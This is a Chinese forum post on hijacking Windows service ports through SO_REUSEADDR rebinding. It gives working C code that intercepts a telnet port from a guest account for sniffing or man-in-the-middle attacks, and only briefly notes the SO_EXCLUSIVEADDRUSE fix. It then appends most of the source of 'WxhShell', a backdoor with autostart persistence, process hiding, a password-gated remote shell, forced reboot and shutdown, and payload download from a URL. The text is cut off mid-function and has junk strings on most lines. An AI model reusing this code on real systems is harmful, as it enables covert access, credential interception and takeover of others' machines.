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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: y&J@?Hc>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p9ZXbAJ{  
u:gtOjk2  
  saddr.sin_family = AF_INET; e]>ori 8  
h5zVGr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZU2laqa_  
y }2F9=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `TKD<&oL  
3tS~:6-/  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GUB`|is^  
YE+$H%Jl!  
  这意味着什么?意味着可以进行如下的攻击: OyG"1F  
\l#>dq"Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e(B9liXM  
ug&[ IL~lc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) CC >=UF  
#VbVs l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jFG0`n}I  
N+W&NlZ   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~|+zJ5  
!>^JSHR4t  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^s/  
f<jb=\}x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Q[ieaL6&  
T~8  .9g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g=)J~1&p  
<g2_6C\j  
  #include % g"eV4 j  
  #include mry N}  
  #include  $6>?;  
  #include    6gO9 MQY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GJ(d&o8  
  int main() 4/> Our 5  
  { 2s ,8R  
  WORD wVersionRequested; P* #8 ZMA<  
  DWORD ret; +{`yeZ9S  
  WSADATA wsaData; w=b(X q+:  
  BOOL val; XAOak$(j  
  SOCKADDR_IN saddr;  3yS  
  SOCKADDR_IN scaddr; TW&DFKK`  
  int err; JN3cg  
  SOCKET s; ``Q 2P%  
  SOCKET sc; ^C^*,V3  
  int caddsize; 'C+;r?1!h  
  HANDLE mt; Yn51U6_S  
  DWORD tid;   cd@.zg'sYn  
  wVersionRequested = MAKEWORD( 2, 2 ); @]CF&: P A  
  err = WSAStartup( wVersionRequested, &wsaData ); jk~:\8M(A  
  if ( err != 0 ) { !mfJpJ  
  printf("error!WSAStartup failed!\n"); 8Z#j7)G  
  return -1; eARk QV  
  } ?h\mk0[  
  saddr.sin_family = AF_INET; MFit|C  
   ;^k7zNf-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S9sR#  
OJ>.-"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Bn wzcl  
  saddr.sin_port = htons(23); ik1tidw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n(Y%Vmy  
  { rx ~[Zs+*  
  printf("error!socket failed!\n"); 5t:8.%<UK  
  return -1; <!^ [~`  
  } cSP*f0n,eo  
  val = TRUE; y7u^zH6wj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9|r* pK[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ilLBCS}  
  { _uxPx21g}  
  printf("error!setsockopt failed!\n"); ,8Iv9M}2  
  return -1; m 40m<@  
  } 6)RbPPeE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Sq]pQ8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jB$SUO`*  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g;p)n  
pNaiXu3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y0uvT7+[hi  
  { ` vk0c  
  ret=GetLastError(); `d]Z)*9  
  printf("error!bind failed!\n"); \y Hen|%  
  return -1; Q%=YM4;  
  } $+= <(*  
  listen(s,2); P~CrtTss  
  while(1) pJpNO$$w  
  { FY0%XW  
  caddsize = sizeof(scaddr); $r.U  
  //接受连接请求 [2Mbk~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); w:=V@-S 8  
  if(sc!=INVALID_SOCKET) (-yl|NFBw  
  { 6o&ZIYJ9k  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '%iPVHK7  
  if(mt==NULL) :>3=gex@^0  
  { U5ZX78>a  
  printf("Thread Creat Failed!\n"); qc-,+sn(  
  break; 5fjd{Y[k  
  } !|{IVm/J  
  } mNmUUj9z  
  CloseHandle(mt); {a q9i  
  } :> -1'HC  
  closesocket(s); 1TJ0D_,  
  WSACleanup(); s&PM,BFf  
  return 0; |w&~g9   
  }   cSD{$B:  
  DWORD WINAPI ClientThread(LPVOID lpParam) 93%{scrm  
  { <-C!;Ce{  
  SOCKET ss = (SOCKET)lpParam; 3!9 Z=- tD  
  SOCKET sc; ^JeMuU  
  unsigned char buf[4096]; h BMH)aU  
  SOCKADDR_IN saddr; F3E[wdT  
  long num; AHh#Fx+K  
  DWORD val; M].8HwC+  
  DWORD ret; }<m{~32M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |hzT;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,{}#8r`+*  
  saddr.sin_family = AF_INET; /I{R23o  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E)p9eU[#  
  saddr.sin_port = htons(23); >>'C :7+Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6F0(aGs  
  { HxwlYx,4  
  printf("error!socket failed!\n"); $xW **&  
  return -1; V^fV7hw<  
  } C".1+Um  
  val = 100; NlPS#  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *:"^[Ckc  
  { ? 5|/ C  
  ret = GetLastError(); kyUl{Zj  
  return -1; ISqfU]>[  
  } $ @1u+w  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $~u.Wq  
  { mf$j03tu  
  ret = GetLastError(); YcM;S  
  return -1; t 0O4GcAN  
  } f?UzD#50D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L10IF  
  { %_)zWlN  
  printf("error!socket connect failed!\n"); |"7Pv skT  
  closesocket(sc); 7!4V >O8@  
  closesocket(ss); >.%4~\U  
  return -1; 1 =GI&f2I  
  } kA?_%fi1  
  while(1) aq>?vti1D  
  { M@7Xp)S"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ej(2w Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h[Tk; h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ] f 7#N  
  num = recv(ss,buf,4096,0); "~+.Af  
  if(num>0) )C]x?R([m  
  send(sc,buf,num,0); V0i9DK|!  
  else if(num==0) G?)vWM`j  
  break; a|qsQ'1,;  
  num = recv(sc,buf,4096,0); MK$Jj "  
  if(num>0) q?  z>  
  send(ss,buf,num,0); |ng%PQq)  
  else if(num==0) s@@1 *VQ  
  break; bg7n  
  } $[CA&Y.  
  closesocket(ss); l gq=GHW  
  closesocket(sc); p8>%Mflf  
  return 0 ; &r_uQbx  
  } TUTe9;)  
KCqqJ}G  
)2j:z#'>  
========================================================== bKz{wm%  
3VO:+mT  
下边附上一个代码,,WXhSHELL \HSicV#i  
z1j|E :  
========================================================== szq+@2:  
4<gJ2a3  
#include "stdafx.h" #BJ\{"b_}z  
*@M3p}',M  
#include <stdio.h> o:\XRPB  
#include <string.h> x-Z^Q C  
#include <windows.h> 9D_wG\g  
#include <winsock2.h> /tKGwX]y  
#include <winsvc.h> 1i-[+   
#include <urlmon.h> \+B?}P8N*l  
GW m4~]0E  
#pragma comment (lib, "Ws2_32.lib") 3 N%{B  
#pragma comment (lib, "urlmon.lib") (_8#YyW#  
sBjXE>_#)  
#define MAX_USER   100 // 最大客户端连接数 0X"\ a'M_  
#define BUF_SOCK   200 // sock buffer uw_?O[ZA[  
#define KEY_BUFF   255 // 输入 buffer %KV2< t?  
#x)}29%e#  
#define REBOOT     0   // 重启 "'{OIP  
#define SHUTDOWN   1   // 关机 '`o[+.  
19I:%$U3  
#define DEF_PORT   5000 // 监听端口 ^Q2ZqAf^a  
-u6#-}S  
#define REG_LEN     16   // 注册表键长度 /bcY6b=:  
#define SVC_LEN     80   // NT服务名长度 eE3-t/=  
/$`;r2LG  
// 从dll定义API h}6_ybmZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tgN92Q.i6T  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #5{sglC"|F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j%xBo:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YmDn+VIg  
H@W0gK(cS;  
// wxhshell配置信息 V5s& hZZYa  
struct WSCFG { *{[d%B<lp  
  int ws_port;         // 监听端口 b(&] >z  
  char ws_passstr[REG_LEN]; // 口令 xrI}3T  
  int ws_autoins;       // 安装标记, 1=yes 0=no -Bv 12ymLG  
  char ws_regname[REG_LEN]; // 注册表键名 bXvbddu)}  
  char ws_svcname[REG_LEN]; // 服务名 ,}7_[b)&V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1uM/2sX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ua#K>su r.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `]>on`n?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no VO-784I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (,tHL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VkXn8J  
~CFMIQ et  
}; Bz:0L1@,4a  
K%2I  
// default Wxhshell configuration Wem?{kx0  
struct WSCFG wscfg={DEF_PORT, 3+ asP&n  
    "xuhuanlingzhe", {3 o% d:  
    1, H m8y]>$  
    "Wxhshell", HD00J]y_   
    "Wxhshell", 4*8&[b  
            "WxhShell Service", dq1TRFu  
    "Wrsky Windows CmdShell Service", j+0.= #{??  
    "Please Input Your Password: ", ,%8$D-4#_  
  1, x]' H jTqX  
  "http://www.wrsky.com/wxhshell.exe", :uvc\|:s  
  "Wxhshell.exe" <Kp+&(l,l  
    }; J|?[.h7tO  
j],& z^O$  
// 消息定义模块 LUul7y'"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *`.LA@bHU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yA}nPXrd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1 ypjyu  
char *msg_ws_ext="\n\rExit."; jkCHi@  
char *msg_ws_end="\n\rQuit."; *1,=qRjL  
char *msg_ws_boot="\n\rReboot..."; BHclUwj  
char *msg_ws_poff="\n\rShutdown..."; RAOKZ~`  
char *msg_ws_down="\n\rSave to "; lko3]A3  
ULu O0\W  
char *msg_ws_err="\n\rErr!"; ]ut?&&*  
char *msg_ws_ok="\n\rOK!"; ?o>6S EGW  
p XNtN5@FQ  
char ExeFile[MAX_PATH]; J[o${^  
int nUser = 0; B3 .X}ys#  
HANDLE handles[MAX_USER]; K*:Im #Q  
int OsIsNt; 8J^d7uC  
dcP88!#5-  
SERVICE_STATUS       serviceStatus; % &2B  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <G}m#  
8x gc[#  
// 函数声明 v C-[#]<  
int Install(void); iz(m3k:w  
int Uninstall(void); QU%N*bFW%P  
int DownloadFile(char *sURL, SOCKET wsh); ]3 j[3'  
int Boot(int flag); GJ>ypEWo  
void HideProc(void); ]%||KC!O  
int GetOsVer(void); C?(y2p`d\  
int Wxhshell(SOCKET wsl); J]\s*,C&  
void TalkWithClient(void *cs); 13\Sh  
int CmdShell(SOCKET sock); Sn0Xl3yr  
int StartFromService(void); x@Sra@  
int StartWxhshell(LPSTR lpCmdLine); eoC<a"bJ>  
wNbTM.@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p>!1S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ym[+Rw  
"LXXs0  
// 数据结构和表定义 tRkrV]K  
SERVICE_TABLE_ENTRY DispatchTable[] = Px$'(eMj^3  
{ Lq%[A*`^  
{wscfg.ws_svcname, NTServiceMain}, {.cB>L  
{NULL, NULL} Q.<giBh  
}; e5FCqNip'  
+6uOg,;  
// 自我安装 & 8zk3  
int Install(void) >[ @{$\?x:  
{ )!BB/'DRQ  
  char svExeFile[MAX_PATH]; $`ON!,oa  
  HKEY key; y B1W>s8&  
  strcpy(svExeFile,ExeFile); DCz\TwzU  
N4' .a=1  
// 如果是win9x系统,修改注册表设为自启动 rffVfw  
if(!OsIsNt) { <.: 5Vx(Aw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }1l}-w`F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #3YdjU3w  
  RegCloseKey(key); w"yK\OE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NT'Ie]|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dy98[cL  
  RegCloseKey(key); \]Kq(k[p  
  return 0; }'%$7vL`Ft  
    } kg zwlKK  
  } CzK%x?~]  
} K@I+]5E%?  
else { X5|?/aR}  
4GEjW4E  
// 如果是NT以上系统,安装为系统服务 jBT*~DyN z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o@Dk%LxP  
if (schSCManager!=0) wHq('+{=&  
{ r#ks>s  
  SC_HANDLE schService = CreateService #d3[uF]OmW  
  ( )kFme=;  
  schSCManager, q=T<^Tk#e  
  wscfg.ws_svcname, jY1^+y{  
  wscfg.ws_svcdisp, hLu&lY  
  SERVICE_ALL_ACCESS, .0 rJIO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 77)OW $G  
  SERVICE_AUTO_START, Ufyxw5u5F  
  SERVICE_ERROR_NORMAL, S^*(ALFPj  
  svExeFile, @oUf}rMiDa  
  NULL, a g|9$  
  NULL, #Lu4OSM+  
  NULL, ,"4X&>_f  
  NULL, m~b#:4D3  
  NULL Yk(NZ3O  
  ); {6REfY c  
  if (schService!=0) P1M|f4*  
  { LX&=uv%-^  
  CloseServiceHandle(schService); Lqy|DJ%  
  CloseServiceHandle(schSCManager); ={e#lC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j(wY/Hl  
  strcat(svExeFile,wscfg.ws_svcname); h5h-}qBA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +z{x 7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); So3,Z'z=  
  RegCloseKey(key); )AZ`R8-A  
  return 0; \J#I}-a&j  
    } 6EW"8RG`  
  } + xkMW%e<  
  CloseServiceHandle(schSCManager); *R1d4|/G  
} y0W`E/1t  
} ?Vb=4B{~  
^^U)WB  
return 1; D(W7O>5vQ2  
} t/4/G']W  
!YuON6{)  
// 自我卸载 qX}dbuDE"P  
int Uninstall(void) *;~{_Disz  
{ k;9#4^4(  
  HKEY key; O;.d4pO(tC  
I+-Rs2wb  
if(!OsIsNt) { IrVM|8vT3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vwSX$OZ  
  RegDeleteValue(key,wscfg.ws_regname); Fp* &os  
  RegCloseKey(key); lSKv*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QQ2OZy> W  
  RegDeleteValue(key,wscfg.ws_regname); #EwRb<'Em  
  RegCloseKey(key); @idp8J [td  
  return 0; O>{t}6o  
  } 8DmX4*  
} I=Lj_UF4  
} ln_EL?V  
else { Nc^b8& 2J  
wZ#~+ }T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _'o^@v:  
if (schSCManager!=0) v: !7n  
{ \p_8YC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SK~;<>:37  
  if (schService!=0) p5D3J[?N  
  { dh7)N}2  
  if(DeleteService(schService)!=0) { $(!D/bvJ  
  CloseServiceHandle(schService); NC#kI3{  
  CloseServiceHandle(schSCManager); 2T{-J!k  
  return 0; wN%DM)*k  
  } q, 19NZ  
  CloseServiceHandle(schService); |R|U z`  
  } V%Z[,C u+  
  CloseServiceHandle(schSCManager); h3vm< R;  
} 0L 4]z'5  
} 7cQHRM+1  
R&d_ WB4w  
return 1; }@t'rK[  
} i(TDJ@}  
7xa@wa?!L  
// 从指定url下载文件 >H]|A<9u(  
int DownloadFile(char *sURL, SOCKET wsh) g#bfY=C  
{ 5<>R dLo  
  HRESULT hr; b&_u O  
char seps[]= "/"; 2v; 7ohK  
char *token; D=Yag!1  
char *file; Y_TL4  
char myURL[MAX_PATH]; H;"N|pBy  
char myFILE[MAX_PATH]; -^NAHE$bW  
wr6xuoH  
strcpy(myURL,sURL); e#Zf>hlAz  
  token=strtok(myURL,seps); 9jJ/ RXp  
  while(token!=NULL) Yk*57&QI  
  { 0OoO cc  
    file=token; DG%%]  
  token=strtok(NULL,seps); 2ucsTh@  
  } APOU&Wd  
*p<5(-J3  
GetCurrentDirectory(MAX_PATH,myFILE); F<'l'AsC-  
strcat(myFILE, "\\"); Z6 |'k:R8  
strcat(myFILE, file); qS`|=5f  
  send(wsh,myFILE,strlen(myFILE),0); F(kRAe;  
send(wsh,"...",3,0);  26klW:2*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W Y qL  
  if(hr==S_OK) T"0)%k8lJ  
return 0; 2$/gg"g+  
else dJ"xW; "  
return 1; .TrQ +k>  
"u> sS  
} ucm.~1G(  
?;=Y1O7N(  
// 系统电源模块 9Z_OLai  
int Boot(int flag) {UVm0AeUq  
{ JnKbd~  
  HANDLE hToken; GeW$lA I  
  TOKEN_PRIVILEGES tkp; ^# g;"K0  
z4%F2Czai&  
  if(OsIsNt) { W1,L>Az^Ts  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bv|9{:1%X}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !-}*jm p<  
    tkp.PrivilegeCount = 1; UK9MWC5g9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o[+|n[aT)3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q)i`.mHfFI  
if(flag==REBOOT) { 5 WNRo[`7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g(F*Y> hk  
  return 0; E;Ftop  
} WT? U~.U  
else { jQBdS. }'v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %'g-%2C?  
  return 0; |~vQ0D  
} GZ>% &^E  
  } ^T1-dw(  
  else { vCe<-k  
if(flag==REBOOT) { &!EYT0=>p  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9^h%}>  
  return 0; VX@G}3Ck  
} qc4 "0Ap'  
else { .L|ax).D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (+v*u]w4  
  return 0; v\tbf  
} 7 QJcRZ[lU  
} :^L]Da3  
SG o:FG  
return 1; COJ!b  
} u! FSXX<  
`G5wiyH})  
// win9x进程隐藏模块 aC6b})^  
void HideProc(void) YxqQg  
{ 9@a;1Wr/f  
~O7(0RsCN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]6[d-$#^ko  
  if ( hKernel != NULL ) y!D`.'  
  { 5WN Z7cO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^"#rDP"v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :NyEd<'  
    FreeLibrary(hKernel); NKh {iSLm  
  } ~"YNG?Rre  
bHT@]`@@  
return; c\ *OId1{;  
} swgBPJ"?  
{!?RG\EYN  
// 获取操作系统版本 pNWp3+a'  
int GetOsVer(void) IbaL.t\>  
{ YGmdiY:;1  
  OSVERSIONINFO winfo; Qg.:w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +B|X k[  
  GetVersionEx(&winfo); beR)8sC3q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =8 D4:Ds  
  return 1; ymCIk /\  
  else ~ J{{n_G{  
  return 0; H?^#zj`Ex+  
} V-r<v1}M  
~,1q :Kue  
// 客户端句柄模块 )t=u(:u]  
int Wxhshell(SOCKET wsl) >U/g*[>  
{ TAoR6aE  
  SOCKET wsh; z$5C(!)  
  struct sockaddr_in client; $NRb'   
  DWORD myID; # Kr.!uD  
E\N=p&g$  
  while(nUser<MAX_USER)  (t['  
{ e>Y2q|S85  
  int nSize=sizeof(client); ?0%TE\I8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X&8,.=kt"  
  if(wsh==INVALID_SOCKET) return 1; yE9.]j  
/~5YTe( F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y"%o\DS*  
if(handles[nUser]==0) \ \}/2#1=c  
  closesocket(wsh); K! j*:{  
else 4T E ?mh}  
  nUser++; 6|Q'\  
  } ^eRT8I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AwrK82  
T$;XJx  
  return 0; Vatt9  
} BF!zfX?n  
+N@F,3yNa  
// 关闭 socket <]^D({`  
void CloseIt(SOCKET wsh) L:Eb(z/D  
{ PtOnj)Q  
closesocket(wsh); KHN ,SB  
nUser--; 2f4c;YS  
ExitThread(0); lHqx}n@e  
} jy2nn:1#^  
+}/!yQtH  
// 客户端请求句柄 59]9-1" +  
void TalkWithClient(void *cs) [ 1GEe  
{ @NE#P&f  
x&vD,|V!  
  SOCKET wsh=(SOCKET)cs; LL [>Uu?Y  
  char pwd[SVC_LEN]; e6'O,\  
  char cmd[KEY_BUFF]; TMsoQ82  
char chr[1];  e5]AB  
int i,j; LS;anNk@.}  
sdD[`#  
  while (nUser < MAX_USER) { = h( n+y<  
Ti'kn{ Zv  
if(wscfg.ws_passstr) { Y sV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D.`\ ^a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $SR]7GZ  
  //ZeroMemory(pwd,KEY_BUFF); AgJ~6tK  
      i=0; %T\x~)  
  while(i<SVC_LEN) { n<*]`do,w  
%Ege^4PE  
  // 设置超时 v{ Ve sf  
  fd_set FdRead; ,ua1xsZl&  
  struct timeval TimeOut; 7`!( 8  
  FD_ZERO(&FdRead); qKC*j DW  
  FD_SET(wsh,&FdRead); NkI:  
  TimeOut.tv_sec=8; $:wM'&M  
  TimeOut.tv_usec=0; ![^h<Om  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jo<6M'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !g"9P7p  
c"1d#8J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p\ S3A(  
  pwd=chr[0]; 7d)' y  
  if(chr[0]==0xd || chr[0]==0xa) { eUlb6{!y?  
  pwd=0; W<o0Z OO  
  break; qH"a!  
  } -+|[0hpw  
  i++; v1)6")8o+  
    } Bn q\Gg  
yw!`1#3.  
  // 如果是非法用户,关闭 socket qV,j)b3M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w-Fk&dC69  
} GR `ncI$z  
2z3A"HrlA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P.DWC'IBN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?F{xDfqw  
'O9=*L) X  
while(1) { @x +#ZD(  
Mk?I}  
  ZeroMemory(cmd,KEY_BUFF); Lm#d.AD)  
kELyD(^P`  
      // 自动支持客户端 telnet标准   1A-EP@# J  
  j=0; #jiqRhm  
  while(j<KEY_BUFF) { yTiqG5r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g1 ,  
  cmd[j]=chr[0]; &S]v+wF  
  if(chr[0]==0xa || chr[0]==0xd) { ~7'.{VrU  
  cmd[j]=0; &Sa~Wtm|*  
  break; 7+4"+CA  
  } BxYA[#fd}  
  j++; Xm'K6JH'  
    } 1H7Q[ 2E  
Dj"=kL0  
  // 下载文件 I xBO$ 2  
  if(strstr(cmd,"http://")) { n4y6Ua9m{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %;$Y|RbmqE  
  if(DownloadFile(cmd,wsh)) " SqKS,J  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&xD3u^G  
  else ;jI"|v{vnS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HYmXPpse  
  } hATy 3*4  
  else { |LH*)GrD*t  
uf] $@6)  
    switch(cmd[0]) { vyGLn  
  ,5*xE\9G  
  // 帮助 w[YbL2p  
  case '?': { ygt)7f5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >]8.xkQq  
    break; UROi.976D  
  } q.{/{9  
  // 安装 i]%"s_l  
  case 'i': { olxP`iK  
    if(Install()) Nn1^#kc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RGI6W{\  
    else F6VIH(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ZZy`/~z*7  
    break; @$Kq<P  
    } ,8nZzVo  
  // 卸载 9Ib(x0_  
  case 'r': { FH`&C*/F0Y  
    if(Uninstall()) m-92G8'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q|l|mO  
    else @6'E8NFl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #2ASzCe  
    break; '$-,;vnP0  
    } pY#EXZ#   
  // 显示 wxhshell 所在路径 ;XQ lj?:  
  case 'p': { z}&C(m:al  
    char svExeFile[MAX_PATH]; BM~niW;k  
    strcpy(svExeFile,"\n\r"); ^T6!z^g1h  
      strcat(svExeFile,ExeFile); FD+PD:cQn  
        send(wsh,svExeFile,strlen(svExeFile),0); TFDCo_>o  
    break; }h h^U^ia  
    } 0.+eF }'H  
  // 重启 5THS5'  
  case 'b': { B/kn&^z$|~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K(fLqXE%  
    if(Boot(REBOOT)) g_c)Ts(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [j U  
    else { lILtxVBO2o  
    closesocket(wsh); F>(#Af9  
    ExitThread(0); BG0M j2  
    } v/.h%6n?  
    break; u;qMo`-  
    } bMOM`At>z  
  // 关机 |hQ|'VCN  
  case 'd': { Sb4PCt  
